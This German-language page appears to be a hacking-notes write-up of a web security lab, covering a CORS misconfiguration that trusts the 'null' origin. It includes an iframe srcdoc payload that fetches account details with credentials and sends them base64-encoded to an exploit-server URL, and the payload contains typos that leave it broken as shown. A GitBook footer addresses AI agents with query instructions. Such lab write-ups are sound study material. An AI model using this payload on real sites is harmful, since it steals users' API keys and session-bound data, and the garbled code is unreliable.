> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cors/cors-null-origin-trusted.md).

# CORS: Null Origin wird vertraut

### CORS-Schwachstelle mit vertrauenswürdigem Null-Origin

Nutze eine verwundbare CORS-Konfiguration aus, die dem Origin vertraut `"null"`. Das Ziel des Labs ist es, den API-Schlüssel des Administrators über eine CORS-Anfrage abzurufen (mit `Anmeldedaten`) und den Code auf den Exploit-Server hochzuladen. Das Lab ist gelöst, wenn der API-Schlüssel des Administrators erfolgreich übermittelt wurde.

* Der Server gibt zurück `Access-Control-Allow-Credentials: true`.

<figure><img src="/files/44bfa7d10390c194444b18ff3b44c6dc39f81c35" alt=""><figcaption></figcaption></figure>

Wenn der `Origin: jord4n.pro` Header gesendet wird, wird die Domain nicht reflektiert.

<figure><img src="/files/cbf37aef917145369beea8fc05207a4bee9dd978" alt=""><figcaption></figcaption></figure>

Wenn jedoch `Origin: null`, akzeptiert die Antwort diesen Wert und spiegelt ihn wider.

<figure><img src="/files/68ef0268f58c5e54a133ac2ad199c75c1c12848a" alt=""><figcaption></figcaption></figure>

Erzwinge eine Anfrage von einer Seite mit `null` Ursprung (z. B. über `iframe` mit `srcdoc`) damit die CORS-Antwort den Ursprung als vertrauenswürdig betrachtet und die Daten zurückgibt (mit Cookies über `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="/files/269d815fa054de0396b3aa1c309e83746610f9ec" alt=""><figcaption></figcaption></figure>

> Hinweis: Das Prinzip besteht darin, diesen Code von `null` Ursprung (iframe `srcdoc`) auszuführen, sodass die CORS-Antwort, die `null`, akzeptiert, sensible Daten einschließlich Cookies zurückgibt.

Der wiederhergestellte Schlüssel, aus Base64 dekodiert:

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
